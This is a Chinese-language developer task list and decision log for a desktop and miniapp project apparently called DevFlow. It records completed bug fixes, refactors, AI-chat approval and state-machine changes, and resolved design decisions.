- [x] **#6 评分关键词拆文件**:将 `scoring.rs` 硬编码关键词拆到独立 const 文件(最小改动)。启发式是过渡方案,对抗式评估上线后按需升级为 JSON 配置。**不做 DB 表配置化**(过度工程)。
- [x] **#7 promote 补偿改软删除**`promote_idea` 回写失败时的补偿删除从 `purge_with_descendants`(不可恢复)改为 `soft_delete`(软删除,可恢复)。
- [x] **#8 关联双向同步**A 关联 B 时自动在 B 的 `related_ids` 中补入 A解绑时同步移除保持关联关系对称。
- [x] **#9 创建表单补 tags 输入**:捕捉灵感表单增加 tags 输入(逗号分隔或 chip 组件),`confirmCapture` 传 tags JSON 字符串给后端。
## 灵感模块功能完善 — P2 前端/UX
- [x] **#10 创建表单补全 priority/source**:捕捉模态框增加 priority 下拉(低/中/高/紧急)和 source 输入框。
- [x] **#14 雷达图正名/替换**:将 i18n key 和 CSS class 中的 "radar" 改为 "score-bar"(或引入真正的雷达图组件如 ECharts radar
## AI 对话目标丢失
- [x] **G3 状态机收敛目标** ✅文档衔接:`conv_state.rs`/`mod.rs` 注释明示 pinned_goals 内容态与 ConvState 生命周期态正交,不进 enum。
- [x] **G5 附 bug** ✅已排查(不改代码)dump DB 确认 seq1(thinking 独白)+seq4(tool_result 内容)均 system+**早期 timestamp**(旧版本遗留脏数据),非当前 compress summary 机制问题(摘要四段式正常)。最新 system(seq0 topic marker)正常。**结论:历史脏数据,数据治理项**(可选清 DB),非当前 bug。anthropic_compat thinking 隔离你在进行中(M)。
- [x] **G1 多目标累积**:`pinned_goal: Option<String>``pinned_goals: Vec<String>`,每次发消息/编辑/强制发送提取目标追加到列表(去重),支持换目标且不丢失历史目标。`MAX_GOALS=5` 防无限膨胀。
## 对抗式评估接入 — 后端 IPC 接入
- [x] **A1 evaluate_idea 命令**:新增 IPC command按 Provider 配置构造 `AdversarialEngine`(有 Provider → `new(provider)`,无 → `heuristic()`),调 `evaluate(idea)` 返回 `AdversarialEval`
- [x] **A3 评估结果持久化**:评估结果写回 `ideas`scores + evaluated_by + evaluated_at避免每次重新评估。
- [x] **A4 类型导出**`AdversarialEval` / `EvaluatedBy` / `Recommendation` 等类型经 IPC serde 暴露给前端(检查 `df-types` 是否需补充)— 已验证:当前通过 `df_ideas::adversarial::*` 路径直接可用,前端经 `IdeaRecord.ai_analysis` JSON 字符串消费,无需搬运到 `df-types`
## 对抗式评估接入 — 前端结果展示
- [x] **B1 灵感详情页评估面板**:展示正方论点 / 反方论点 / 分析师综合评分,`evaluated_by` 标签区分LLM / 启发式兜底 / 纯启发式)。
- [x] **B2 评估触发按钮**:灵感详情页加「深度评估」按钮,调 `evaluate_idea` IPCloading 状态 + 错误提示。
- [x] **B3 评分维度可视化**:可行性 / 影响力 / 紧急度三维度展示(复用现有 score-bar 或引入 radar
---
## 🔍 2026-06-21 AI Chat 技术债审查
### P1 已即时修
- [x] ✅(主代修·chat.rs:458-461 ai_approve exec_result 包 tokio::time::timeout(60s) 对齐 ai_authorize_dir:658·cargo check EXIT 0) **TD-260621-05a****[P1🔴]** ai_approve 缺 60s 执行超时(用户"静默吞消息"bug F-260620 同型复发)。ai_authorize_dir 有超时 ai_approve 漏。卡死→generating 永真→前端 130s 看门狗吞消息。
- [x] ✅(主代修·useAiConversations.ts:99 switchConversation activeConversationId 设定后加 `state.streaming = state.generatingConvs.has(id)`·vue-tsc EXIT 0) **TD-260621-06a****[P1🔴]** switchConversation 不复位 streaming,真并发切非生成会话残留 stop 按钮→点 stop 发错会话。
### P1 归路线
- [x] TD-260621-01 [P1·归 F-09 B 路线 per-conv state] ✅(批2-A 落地·useAiStream `_watchdogTimers` Map<convId,timer> + `_legacyWatchdog` fallback 双路·onStreamTimeout 携 convId 仅清该 conv·2026-06-21) — **watchdog 单计时器全清误杀并发会话**
- [x] TD-260621-02 [P1·归 F-09 B 路线 per-conv state] ✅(批2-A 落地·pendingMaxRounds ref<string|null> 挂起 convId + 守卫比对 activeConversationId·DirAuthDialog visibleDirAuths filter conversationId·2026-06-21) — **pendingDirAuth/pendingMaxRounds 全局单 ref 非 per-conv**
- [x] TD-260621-03 [P1·patch_file 落地债 F-260615] ✅(读改写整体移入 _patch_guard 锁内串行化防 lost update + 删 entry().or_insert() 内存泄漏 + drop 写序列后释放·2026-06-21) — **patch_file 读改写在 FILE_LOCKS 外,lost update**
- [x] TD-260621-04 [P1·patch_file 落地债 F-260615] ✅(read_file 三返回点返 file_hash 闭环 + 抽 compute_file_hash helper read_file/patch_file 共用消格式漂移·2026-06-21) — **expected_hash 契约破裂,指纹防并发形同虚设**
- [x] ✅(2026-06-24·ba811ea chat.rs executed→completed 6处:460幂等读/584 ai_approve写/634判定/668 IPC返回/885 authorize_dir日志/889 authorize_dir写 + df-storage V27 迁移 UPDATE 存量 executed→completed + v27 两测试 unify/idempotent·cargo check EXIT 0 + df-storage 78 passed) **TD-260621-05** [P1·归 SMELL-P1-6] — **审批状态字符串双轨**(已统一)。
### P2 精选 — 2026-06-24 核验销账
- [x] ✅已修(commit a7dbd50,finalize:35 `let _ =`→match Err tracing::error,对齐 audit_finalize) — audit_tool_call 吞错
- [x] ✅已修(a7dbd50,conversation/chat finalize_pending_placeholders pub(crate)) — switch+delete retain 占位终态化
- [x] ✅已修(TD-260621-03 06-21,_patch_guard 串行化 + 删 entry().or_insert()) — patch_file FILE_LOCKS 永不清理
- [x] ✅已是正确态(mod.rs:772 #[allow(dead_code)]+预留注释) — PerConvState.created_at
- [x] ✅已是正确态(阶段3a 下沉 enum ApprovalKind::Risk{diff}) — PendingApproval.diff
## 🔍 2026-06-21 查询能力缺口 + run_workflow 缺陷
- [x] BUG-260621-01 [P1🔴·确定修法] — **run_workflow 空 dag 反序列化失败(missing field nodes),阻塞任务工作流推进****2026-06-22 修复**
- [x] F-260621-02 [P2] — **任务/项目/灵感列表查询维度补全(下沉后端+关键词搜索+排序分页)****2026-06-22 实施**
## 🔴 2026-06-19 BUG-260619-06 L0 clear 致冷启动审批丢失(已修复)
- [x] **BUG-260619-06** — L0 clear 致冷启动审批丢失。方案 A 修复:`lib.rs:62` `clear()``retain(|_, a| !a.recovered)`
## 🔴 2026-06-18 Agentic 最大轮次设置不生效
- [x] ✅(workflow wuirgcxoy) **B-260618-23 [P1]****Agentic 最大轮次设置不生效(设 30 仍按 10 截断)**。修复sync 上提到 App.vue 根 onMounted。
## 🔧 2026-06-17 走查·tauri 打包目标收窄 + 状态映射 DRY
- [x] ✅(主代核验·tauri.conf.json:28 `["nsis"]` 已入库) B-260617-11 [P2] — **tauri.conf.json 打包目标收窄**
## 🔧 2026-06-17 走查·DeepSeek reasoning_content 实施审查
- [x] ✅(2026-06-20 核验) B-260617-16 [P3·可选] — **Partial(MidStream 保文)回填半截 reasoning_content 语义待评**
## 🔧 2026-06-17 对话标题不更新
- [x] ✅(2026-06-18) **B-260617-17 [P2]****对话标题不更新(对话很久/刷新后仍"新对话"**
## 💡 2026-06-16 新需求UX 交互优化)
- [x] ✅(F-15 全阶段完成) **F-260616-15** [P1] — **AI Chat 上下文管理增强:会话分段 + 手动压缩 + 智能裁剪**
## P1 — 重要缺陷
- [x] ✅(workflow w999qdu86) **BUG-260618-11****[P0🔴]** `commands.rs:289` ai_approve 幂等路径 `unwrap_or_default` 吞 DB 错误。
## 🔴 架构坏味道全面扫描 — P0 必须修复
- [x] ✅(workflow w5siwnipj) **SMELL-P0-1****[P0🔴]** `unwrap_or_default` 吞错 **5 高危闭环**
- [x] ✅(workflow w2xkw4ybh) **SMELL-P0-2****[P0🔴]** `tool_registry.rs:363 build_ai_tool_registry` **1091 行单函数**
- [x] ✅(2026-06-20 核验) **SMELL-P0-3****[P0🔴]** `AiChat.vue` **4026 行 God 组件**
- [x] ✅(workflow wowdnw4ba) **SMELL-P0-4****[P0🔴]** `df-execute` crate **零测试**
## 🔴 架构坏味道全面扫描 — P1 应该改进
- [x] ✅(workflow w8774xcev) **SMELL-P1-1****[P1🟡]** 生产代码 206 处 `unwrap()` 排查。
- [x] ✅(workflow wuirgcxoy no-action) **SMELL-P1-2****[P1🟡]** IPC 层 `.map_err(err_str)?` 样板。
- [x] ✅(workflow wuirgcxoy no-action) **SMELL-P1-3****[P1🟡]** Vue views try-catch-finally invoke 模式。
- [x] ✅(workflow w8774xcev) **SMELL-P1-4****[P1🟡]** df-nodes 聚合点依赖 5 crate。
- [x] ✅(workflow weckqp9mv no-action) **SMELL-P1-5****[P1🟡]** IPC 层职责泄漏。
- [x] ✅(workflow weckqp9mv no-action) **SMELL-P1-7****[P1🟡]** bool 参数陷阱。
- [x] ✅(workflow wowdnw4ba) **SMELL-P1-8****[P1🟡]** 架构文档过时 6 篇更新。
- [x] ✅(agent crud-split 实施) **SMELL-P1-9****[P1🟡]** crud.rs 2212 行按表拆分。
## 🔴 架构坏味道全面扫描 — P2 可选优化
- [x] ✅(workflow wowdnw4ba no-action) **SMELL-P2-1** — run_workflow_inner 282 行+8 参数。
- [x] ✅(workflow wowdnw4ba) **SMELL-P2-2** — 前端全局 ErrorBoundary。
- [x] ✅(workflow w8774xcev) **SMELL-P2-3** — HashMap<String,String> → 结构体。
- [x] ✅(workflow w5siwnipj) **SMELL-P2-4** — coordinator.rs 空壳标注 roadmap。
- [x] ✅(workflow w5siwnipj) **SMELL-P2-5** — #[allow(dead_code)] **7 处全部标注完成**
## 🔴 架构坏味道全面扫描 — sweep 派生登记
- [x] ✅(2026-06-22 核验) **ARC-260618-01-e** — adversarial evaluate_with_llm 一致性。
- [x] ✅(2026-06-20) SW-260618-21 [P2] — **formatRelativeZh 重命名 formatRelative**
- [x] ✅(2026-06-20 核验) SW-260618-22 [P2] — **useAiSend resolveLang DRY**
## P2 — 不阻断缺陷/增强
- [x] ✅(2026-06-20 核验) B-260614-05 — **[P2→降级]** 分离窗口detached跨窗口状态。
## 🔧 2026-06-18 6 域并行走查 sweep-fix — 已修 12 处
- [x] ① context.rs `estimate_message` 累加 parts Text/Image.base64 token
- [x] ② anthropic_compat.rs Image 转换 clone→move
- [x] ③ scan.rs `is_pure_badge_line` to_lowercase→to_ascii_lowercase
- [x] ④ scan.rs `is_monorepo` workspaces null 误判
- [x] ⑤ adversarial.rs MockProvider 补 reasoning_content
- [x] ⑥ audit.rs `audit_finalize` 拆 unwrap_or_default 吞错
- [x] ⑦ commands.rs `ai_conversation_delete` 补非活跃对话 pending_approvals retain
- [x] ⑧ audit.rs 抽 PENDING_APPROVAL_PLACEHOLDER 常量
- [x] ⑨ ToolCard.vue isToolFailure/commandOutput 下沉 computed
- [x] ⑩ AiChat.vue 清 4 处虚拟滚动残留死注释
- [x] ⑪ Projects.vue onUnmounted 清 _toastTimer
- [x] ⑫ Knowledge.vue refConvTitle parseContext 两次→一次
## 🔧 2026-06-18 6 域并行走查 sweep-fix — 新 todo 24 项
### P1
- [x] ✅(workflow wexu1isx1) SW-260618-01 [P1] — **executor Ok 路径取消节点事件/状态不一致(TOCTOU 残留)**
- [x] ✅(workflow wexu1isx1 + 主代修) SW-260618-02 [P1] — **审批占位 tool_result 在 stop/clear/create/delete 清 pending_approvals 时未替换终态文本**
### P2
- [x] ✅(评估暂缓) SW-260618-03 [P2] — **Anthropic 图片 url 模式静默 400**
- [x] ✅(workflow wexu1isx1) SW-260618-04 [P2] — **knowledge_events 通用 query 硬编码 ORDER BY created_at 崩溃**
- [x] ✅(评估暂缓) SW-260618-05 [P2] — **pending 占位靠内容字符串匹配**
- [x] ✅(主代修·SW-06) SW-260618-06 [P2] — **ToolCard 双 watch(props.tc.status) 合并**
- [x] ✅(主代修·SW-07) SW-260618-07 [P2] — **AiChat 双 watch(currentText) 合并**
- [x] ✅(主代修·SW-08) SW-260618-08 [P2] — **AuditLog.vue 全硬编码中文未 i18n**
- [x] ✅(主代修·SW-09) SW-260618-09 [P2] — **AiNode/AiSelfReviewNode provider 解析+构建 DRY 重复**
- [x] ✅(主代修·SW-10) SW-260618-10 [P2] — **reqwest Client 构建重复(OpenAI/Anthropic Provider::new)**
### P3
- [x] ✅(评估暂缓) SW-260618-11 [P3] — **OpenAI 图片构造防御缺失**
- [x] ✅(评估确认) SW-260618-12 [P3] — **ai_conversations 白名单 pinned 与 archived 不对称**
- [x] ✅(评估暂缓) SW-260618-13 [P3] — **find_path_conflict 跨层规范化靠文档约定**
- [x] ✅(评估不做) SW-260618-14 [P3] — **keyring failcount sidecar 用 current_dir 跨启动不稳**
- [x] ✅(主代修·SW-16) SW-260618-16 [P3] — **F-05 去重审计 status 固定 completed 不透传 rejected/failed**
- [x] ✅(评估不做) SW-260618-17 [P3] — **ToolCardList 4 Set 跨会话不重置累积**
- [x] ✅(主代修·SW-19) SW-260618-19 [P3] — **combineAndTruncateLines 与 cmdOutput 合并逻辑冗余**
- [x] ✅(主代修·SW-20) SW-260618-20 [P3] — **Ideas 本地 parseTags 与 store 版 DRY 重复**
- [x] ✅(评估暂缓) SW-260618-22 [P3] — **Knowledge getCategoryCount+parseTags 模板重复求值**
## 🔧 2026-06-18 模型能力维度
- [x] ✅(workflow wexu1isx1) **B-260618-03 [P1] 后端路由解耦 cost_tier/intelligence**
- [x] ✅(workflow wexu1isx1) **B-260618-04 [P2] model_probe 去瞎填 + 预设表机制存废**
- [x] ✅(主代修·UX-04) **UX-260618-04 [P2] 前端删 cost/intel 标签**
- [x] ✅(workflow wexu1isx1 + 主代修前端) **B-260618-05 [P3] CostTier::Free 死档 + 枚举清理**
## 🔧 2026-06-18 AI Chat markdown 表格布局破坏
- [x] ✅(workflow w5siwnipj) **B-260618-06 [P1]****markdown 表格 display:block 破坏布局**
## 🔧 2026-06-18 aichat 工具结果渲染核对
- [x] ✅(workflow w2drz3ppo) UX-260618-05 [P0] — **run_workflow 结果丢 execution_id**
- [x] ✅(workflow w2drz3ppo+主代) UX-260618-06 [P1] — **patch_file 丢 diff**
- [x] ✅(workflow w2drz3ppo+主代) UX-260618-07 [P1] — **delete_file 软删丢 backup_path**
- [x] ✅(workflow w2drz3ppo+主代) UX-260618-08 [P1] — **read_file 丢截断提示**
- [x] ✅(workflow w2drz3ppo+主代) UX-260618-09 [P1] — **advance_task body 裸 JSON**
- [x] ✅(workflow w2drz3ppo+主代) UX-260618-10 [P1] — **list_trash 缺 header 摘要**
- [x] ✅(workflow w2drz3ppo+主代) UX-260618-11 [P2] — **list_directory 丢 truncated**
- [x] ✅(workflow w2drz3ppo+主代) UX-260618-12 [P2] — **list_* body 全裸 JSON + 各工具零散字段丢失**
## 🔧 2026-06-18 列表摘要 Markdown 语法字符泄露
- [x] ✅(主代串行) **UX-260618-13** [P2] — **列表摘要 Markdown 语法字符泄露**
## 🔧 2026-06-18 用户实测·aichat bug 反馈
- [x] ✅(workflow wwchro468) **UX-260618-14 [P1]****advance_task 审批卡/结果渲染缺任务名 + 显 UUID/空白**
- [x] ✅(agent ux15-batch1 方案A) **UX-260618-15 [P1] 第一批(方案A根治N+1)****流式失败重试每轮独立气泡**
- [x] ✅(主代串行) **UX-260618-16 [P1🔴]****`time.ts:44` formatDate 漏 `.value` 致 en locale i18n 失效**。
- [x] ✅(2026-06-20 核验) **UX-260618-17 [P1🟡]****ProjectDetail.handleApprovalMulti 漏 submitting 复位(防双击破口)**
## 🔧 2026-06-19 文件拆分升级 — P0
- [x] ✅(2026-06-20 核验已拆分) **REFACTOR-260619-01 [P0]****commands.rs(ai,1923 行)拆 5 模块**
- [x] ✅(2026-06-22 核验) **REFACTOR-260619-02** — anthropic_compat.rs 拆模块。
- [x] ✅(2026-06-20 核验已拆分) **REFACTOR-260619-03 [P0]****audit.rs(959 行)拆 5 模块**
## 🔧 2026-06-19 文件拆分升级 — P1
- [x] ✅(2026-06-20 核验已拆分·agentic.rs 已删除) **REFACTOR-260619-05 [P1]****agentic.rs(1231 行)抽 agentic_runtime.rs + agentic_stream.rs**
- [x] ✅(2026-06-20 核验·已拆) **REFACTOR-260619-06 [P1]****ai_node.rs(1107 行)拆 3 模块**
- [x] ✅(2026-06-20 核验已拆分) **REFACTOR-260619-07 [P1]****(已有 SMELL-P0-3)AiChat.vue(4075)拆 ConversationSidebar/ChatHeader/MessageList/ChatInput**。
- [x] ✅(2026-06-22 核验) **REFACTOR-260619-08** — tool_registry.rs 按功能分组注册函数拆。
- [x] ✅(2026-06-22) **REFACTOR-260619-10** — scan.rs 拆 4 模块。
- [x] ✅(2026-06-20 核验) **(已有 SMELL-P1-9)crud.rs(2212)按表拆**。
## 🔧 2026-06-19 命令行黑窗修复 + GLM 1214 数据调查
- [x] ✅(2026-06-19) **B-260619-01 [P1]****执行命令行弹黑色窗口闪烁**
- [x] ✅(2026-06-22) **B-260619-02** — GLM 1214 tool_result 过大截断。
- [x] ✅(2026-06-20) **CR-260620-04 [P0]****1214/400 messages 非法·配对错根因(compress 绕过 sanitize)+ 停用模型路由穿透**
## 💡 2026-06-19 新需求(任务关联灵感)
- [x] ✅(2026-06-20 核验已落地) **F-260619-01 [P2]****任务关联灵感TaskRecord 新增 idea_id 字段**
## 💡 2026-06-19 新需求MCP Server
- [x] ✅(2026-06-20 核验已落地) **F-260619-02 [P2]****DevFlow MCP Server对外暴露任务/项目/灵感管理能力**
## 💡 2026-06-19 新需求AI 工具文件访问动态权限模型)
- [x] **F-260619-03 [P1]** ✅ — **AI 工具文件访问动态权限模型**(Phase A-D 全完成)。
## 💡 灵感模块升级
- [x] ✅ 批1 可信度+体验
- [x] ✅ 批2 评估历史全栈
- [x] ✅ 批3 IdeasPanel 统计看板
- [x] ✅ 批3a 晋升携带
- [x] ✅ 批3b 关联关系 schema
- [x] ✅ 批3c 关联关系前端
- [x] ✅ P1 信号词否定前缀
- [x] ✅ 连带修:`augmentation/resolvers.rs``ResolverRegistry` import
## ⚠️ 灵感升级-遗留缺陷
- [x] ✅(2026-06-22 核验) **related_ids 白名单** — 实际已落地。
## ⚠️ 预存债 — ToolResult 类型缺字段
- [x] ✅(2026-06-22 核验) **TD-260621-07 [P2/预存债]****ToolResult 类型缺 output_mode/files/counts/matches/total_files 字段**
- [x] ✅(workflow wf 批1) **TD-260621-GUARD****[P0·用户实测卡死根因]** generating 状态机前端落地。
## F-260620-01 跨端 AI Chat — Phase3 联调
- [x] ✅(2026-06-22) F-260622-01-阶段1
- [x] ✅(2026-06-22) F-260622-01-阶段2
- [x] ✅(2026-06-22) F-260622-01-阶段3
## AI Chat 跑题/抓不住重点改进
- [x] ✅ P0-P2 全完成
## 单对话内并行多轮推理
- [x] ✅ Phase1 已落
## 🟡 F-09 决策e 前端 newConversation 未跟进
- [x] ✅ 已实施(CR-260620-02 审查 PASS)
## 🟡 MED-1 bind/create/update_project AI 工具路径审批执行后 reload 未兑现
- [x] ✅ 已实施(chat.rs ai_approve)
## ⚪ LOW F-09 stale 注释 + 死 i18n key 清理
- [x] ✅ 已实施
## 🔍 2026-06-22 miniapp 功能走查 — 已修项
- [x] P1-B-260622 [P1🔴·首屏连不上·✅2026-06-23核验已修]
- [x] P1-C-260622 [P1🔴·体验阻断·✅2026-06-23 核验已修]
- [x] P1-E-260622 [P1🟡·多轮场景·✅2026-06-23]
- [x] P2-B-260622 [P2·quickfix·✅2026-06-23核验已修]
- [x] P2-C-260622 [P2·quickfix·✅2026-06-23]
- [x] P2-A-260622 [P2·defer·✅2026-06-23]
- [x] P3-A-260622 [P3·defer·✅2026-06-23]
- [x] P1-F-260622 [P1🟡·✅2026-06-23]
- [x] P1-G-260622 [P1🟡·体验·✅2026-06-23]
- [x] P2-D-260622 [P2·健壮·✅2026-06-23核验已修]
- [x] P2-E-260622 [P2·健壮·✅2026-06-23]
- [x] P3-C-260622 [P3·清理·✅2026-06-23 核验已清]
- [x] P3-D-260622 [P3·体验·✅2026-06-23]
## ✅ 2026-06-23 miniapp 全功能审查加固
- [x] F1 AiConvStateChanged idle/error 终态漏 clearWatchdog → 补 clearWatchdog
- [x] F2 regenerate() 无 generating 守卫 → 加守卫 + toast
- [x] F3 flushCurrentText 启发式回填错位 → 引入 currentAssistantMsgId 按 id 精确回填
- [x] F9 stop() 无终态兜底 + chat 页无停止按钮
- [x] F21 连接状态裸枚举字符串 → 中文文案
- [x] switch 加 default warn / ws.ts 二进制帧 warn / scheduleReconnect 加 MAX_RECONNECT_ATTEMPTS=20
- [x] 删 pages/test 死页
## ✅ 2026-06-23 miniapp 用户需求批
- [x] req1 会话重命名
- [x] req2 断网不丢消息
- [x] req3 审批重连恢复
## ✅ 2026-06-23 miniapp 收尾批
- [x] P1-E MaxRounds 继续/停止
- [x] P1-F 重发 + 复制
- [x] P3-D token 用量
- [x] P2-C 注释陈旧
- [x] P2-A messages 内存上限
## ✅ 2026-06-23 miniapp polish 批
- [x] P2-E 审批失败回填
- [x] P1-G Markdown 渲染
- [x] P3-A textarea 多行
## ✅ 2026-06-24 aichat 可靠性修复
- [x] BUG-260624-01 消息重叠/堆叠根治
- [x] BUG-260624-02 授权弹窗卡死根治
- [x] BUG-260624-03 工具执行心跳误报根治
- [x] BUG-260624-04 搜索工具误授权根治
- [x] BUG-260624-05 压缩后每轮停止根治
- [x] BUG-260625-01 grep 传单文件路径报「目录名称无效」根治
- [x] BUG-260625-02 read_file search 模式显示「0 行」根治
## ✅ 2026-06-25 generating 状态机双轨收口 + 自动压缩路径残留修复
- [x] ✅(2026-06-25) Task#1 自动压缩成功路径残留
- [x] ✅(2026-06-25) Task#2 双轨状态机收口
## 🔍 2026-06-26 灵感模块诊断待办(已完成)
- [x] **IDEA-FIX-01 [P0🔴]** — ideas 表无软删除
- [x] **IDEA-FIX-02 [P0🔴]** — ideas 白名单含 id/created_at
- [x] **IDEA-FIX-03 [P0🔴]** — priority 无值域校验
- [x] **IDEA-FIX-04 [P1🟡]** — record_to_idea 有损转换
- [x] **IDEA-FIX-05 [P1🟡]** — 评分关键词硬编码
- [x] **IDEA-FIX-06 [P1🟡]** — promote 补偿用 purge不可恢复
- [x] **IDEA-FIX-07 [P1🟡]** — 关联单向
- [x] **IDEA-FIX-08 [P1🟡]** — 创建表单无 tags 输入
- [x] **IDEA-FIX-09 [P2🟠]** — 创建表单缺 priority/source
- [x] **IDEA-FIX-11 [P2🟠]** — 假雷达图

View File

@@ -351,3 +351,95 @@
- **决策点**:临时本地构建 vs 有意入库? - **决策点**:临时本地构建 vs 有意入库?
- **选项**:A 临时本地构建(提交前 revert 此行) / B 有意入库(改按平台条件配置而非硬编码单 target) - **选项**:A 临时本地构建(提交前 revert 此行) / B 有意入库(改按平台条件配置而非硬编码单 target)
- **状态**:✅ 已决(2026-06-18) — **决策:A 临时本地构建,要求高速**`["nsis"]` 已是 Windows 单一最快安装包目标。提交前须 revert 为 `"all"`。若进一步提速可用 `["app"]`(裸 .exe 无安装包)或 `tauri build --no-bundle` - **状态**:✅ 已决(2026-06-18) — **决策:A 临时本地构建,要求高速**`["nsis"]` 已是 Windows 单一最快安装包目标。提交前须 revert 为 `"all"`。若进一步提速可用 `["app"]`(裸 .exe 无安装包)或 `tauri build --no-bundle`
### 当前队列已决项迁入2026-06-26 ~ 2026-06-27
> 来源:待决策.md ✅ 2026-06-26 任务图谱推进待决策 + 🟡 各节已决项批量迁入。
#### ✅ DEC-260626-01 父② 知识图谱 Phase 1 多工程合并
- **决策**:**b** — 知识图谱独立 Phase 1(**V29**,V28 已被灵感软删除占用)。多工程代码零行(grep 全空),合并无理由,多工程后续 V30+。
- **关联**:todo 父②
- **状态**:✅ 已决(2026-06-26)
#### ✅ DEC-260626-02 ⑤.2 #7 promote 补偿删除方式
- **决策**:**b** — 保留 purge。补偿是内部回滚建错的 project(非用户删除),purge 干净不污染回收站。
- **关联**:todo ⑤.2 #7(标"保留 purge 不改")
- **状态**:✅ 已决(2026-06-26)
#### ✅ DEC-260626-03 ⑤.2 #6 评分关键词配置形式
- **决策**:**c** — 先拆 const 到独立文件(中/英两套,最小改动)。原推荐 a 修正:启发式是过渡(scoring.rs TODO 接 LLM 语义评分),接 LLM 后按需升 a(JSON 文件)。
- **关联**:todo ⑤.2 #6
- **状态**:✅ 已决(2026-06-26)
#### ✅ DEC-260626-04 ⑤.2 #9/#10 表单补全交互
- **决策**:**a** — tags 逗号分隔输入框(对标 Knowledge.vue 先例)+ priority 下拉 + source 输入。chip 组件留 UX 升级。
- **关联**:todo ⑤.2 #9/#10
- **状态**:✅ 已决(2026-06-26)
#### ✅ DEC-260626-05 BUG-260620-05 层2 授权政策
- **决策**:**a** — 维持方案①(白名单+弹窗三档)。层1(工程内免授权,F-260619-03 方案①)已解痛点,层2 黑名单制安全风险 + 分发冲突。
- **关联**:todo BUG-260620-05 层2(标"维持①不做")
- **状态**:✅ 已决(2026-06-26)
#### ✅ DEC-260626-06 父③ ToolCard 跨轮合并 + 审批状态机排期
- **决策**:**b** — 等 G1 实测 + 父② 后再做。审批是高危路径,AiChat.vue 仍在频繁改动,择稳定窗口专项。
- **关联**:todo 父③(排父②后)
- **状态**:✅ 已决(2026-06-26)
#### ✅ DEC-260626-07 父④ F-09 per-conv 真多会话排期
- **决策**:**a** — 父② Phase 1 后启动。F-09 是 Phase 4 前置,大改不与父② 并行(回归交叉)。
- **关联**:todo 父④(排父②后)
- **状态**:✅ 已决(2026-06-26)
#### ✅ 专题-1 workspace_root 分发适配
- **决策**:**① 先行**(去默认白名单,dev 自用 projects.path 自动授权够),**分发前定②**(去相对锚)。
- **状态**:✅ 已决(2026-06-26,① 立即/② 分发前)
#### ✅ 专题-2 BUG-260623-03 审批 pending 超时兜底
- **决策**:**c 无超时**(不做超时兜底)。用户:等待审批就是等待,一直等待,超时概念多余。审批是用户主动行为,不审批自然挂起等待,无需超时强制 reject/倒计时。
- **状态**:✅ 已决(2026-06-26,不做超时,关闭 BUG-260623-03)
#### ✅ 专题-3 F-09 streaming/currentText per-conv
- **决策**:**暂缓**(随 B 路线多会话并发同批做,即 DEC-07 父④)。
- **状态**:✅ 已决(2026-06-26,归父④)
#### ✅ S-260623-01 「自托管」含义澄清
- **决策**:**自用阶段定案(2026-06-23)** —— 用户决策:小程序当前自用(开发阶段),分发是产品终态但留后续(过渡期靠改 device_id 实现多机)。故「自托管」现阶段 = 已实现的自主执行(autoExecuteMode all 含高危),无另义。分发阶段再做配置层(MINIDEC-01)+ 配对(MINIDEC-02)。
- **关联**:task105 / memory(设置自主执行已实现)
- **状态**:✅ 自用阶段定案(2026-06-23)
#### ✅ B-260618-03 路由解耦 cost_tier/intelligence(用户已全局决策去掉,工程大需专项)
- **决策**:用户已全局决策去掉。自主推进(2026-06-18 workflow wexu1isx1,主代核查 cargo check --workspace EXIT 0 + cargo test df-ai 109 passed + vue-tsc EXIT 0)。title/compress 纯 weight 选模型退化点:用户核对 Settings weight 配置(同 weight 并列 max_by_key 返回最后一个)。
- **关联**:todo B-260618-03/04/05 · UX-260618-04 前端 cost/intel 标签(依赖本项)
- **状态**:✅ 已实施(2026-06-18)
#### ✅ SW-260618-21 死代码预留功能清理批(清理 vs 保留)
- **决策**:**b 保留+标 allow**(预留设计意图明确·清理失去未来扩展点 ROI 低;标 allow 消 warning 即可·零波及)。risk_level 删 + 预留/diff 标 allow·cargo 0 warning。
- **关联**:批次7 transition_status 已删 / CR-22 删 risk_level / CR-23 标 allow 5 处
- **状态**:✅ 已实施 b(2026-06-18)
#### ✅ F-260616-09-B 多会话并发架构 B 阶段实施决策(设计完成 2026-06-19·待拍板)
- **决策**:**✅ b-1 采纳(messages per-conv,技术必然)+ c-1 保持 3 + Settings 配置 + e-1 原路径**。主代自主裁决采纳(2026-06-19)。用户授权「自主推进,能多角度确定的方案不等审批」。启动阶段2 批1。
- **关联**:todo F-260616-09 / 设计文档 / memory aichat-arch-extensibility
- **状态**:✅ 主代自主裁决采纳(2026-06-19)
#### ✅ F-260619-05 任务可关联灵感(产品粒度/方向决策·todo 已登记)
- **决策**:tasks 加 `idea_id REFERENCES ideas(id)`(复用 projects 模式,1对1 起步,单向,后续按需扩展)。**已实施**(2026-06-20 调研确认)。前端任务卡片展示灵感来源(可选增强)待补。
- **关联**:todo.md F-260619-05
- **状态**:✅ 已实施(2026-06-20)
#### ✅ MINIDEC-260623-03 WS 重连续流策略(F10·行为差异·需拍板)
- **决策**:**已实施 a**(2026-06-23)——用户决策「断网不丢消息 + 从远端拉完整」。useAiChat syncOnConnect:ws 'connected' → 发 load_messages 拉完整历史。cargo check 0 + vue-tsc 0 + build DONE。
- **状态**:✅ 已实施(2026-06-23)
#### ✅ MINIDEC-260623-04 审批双源状态分裂统一(F4/F5/F6/F13·渲染源决策)
- **决策**:**已实施 a 单一渲染源**(2026-06-23)——用户决策「审批断网重连恢复卡片状态」。审批卡改从 pendingApprovals 独立面板渲染;remote_bridge 加 sync_pending 路由;useAiChat onStatus 'connected' 清 pendingApprovals + 发 sync_pending 重建;handleEvent 加同 id 去重。cargo 0 + vue-tsc 0 + build DONE。
- **状态**:✅ 已实施(2026-06-23)
#### ✅ MINIDEC-260623-05 会话页管理缺口(删除/重命名·需后端命令)
- **决策**:**重命名已实施 / 删除暂缓**(2026-06-23)——用户决策「小程序对齐桌面端能改会话名」。remote_bridge 加 rename_conversation 路由;useAiChat renameConversation 方法;conversations/index.vue 长按会话编辑。删除会话暂不做(桌面端管理)。cargo 0 + vue-tsc 0 + build DONE。
- **状态**:✅ 重命名已实施 / 删除暂缓(2026-06-23)
#### ✅ MINIDEC-260623-07 regenerate 零调用方 + 备份组件漂移(P3 收尾)
- **决策**:**随 P1-F 选 a**(2026-06-23)—— 🟡 收尾批给 regenerate 加「重发」UI 入口(对齐桌面端),故保留函数不再删;备份组件(MdView/MentionInput)保留预留注释(绕工具解析 bug,未来拆回)。
- **状态**:✅ 随 P1-F 选 a(2026-06-23)

View File

@@ -1060,3 +1060,11 @@
